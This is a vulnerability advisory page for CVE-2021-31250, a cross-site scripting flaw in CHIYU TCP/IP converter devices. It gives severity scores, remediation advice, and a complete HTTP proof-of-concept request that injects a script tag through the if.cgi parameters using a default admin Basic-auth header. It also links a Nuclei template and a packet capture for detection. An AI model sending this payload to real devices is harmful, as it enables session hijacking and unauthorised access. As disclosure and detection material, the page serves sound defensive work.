🔙 목록으로 돌아가기

CVE-2021-31250: CHIYU TCP/IP Converter - Cross-Site Scripting

TitleCHIYU TCP/IP Converter - Cross-Site Scripting
Authorgeeknik
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationTo mitigate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being rendered in web pages.
CVSS Score5.4
EPSS Score0.89372
CVE IDCVE-2021-31250
CWE IDCWE-79
Tags cve2021 cve chiyu xss iot intrusive chiyu-tech vkev vuln

🔍 Vulnerability Description

CHIYU BF-430, BF-431 and BF-450M TCP/IP Converter devices contain a cross-site scripting vulnerability due to a lack of sanitization of the input on the components man.cgi, if.cgi, dhcpc.cgi, and ppp.cgi.

🌐 HTTP Request

GET /if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%2838FKNzW4UALqbLIabMTwUwyT0cj%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Authorization: Basic OmFkbWlu
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31250.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-31250.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A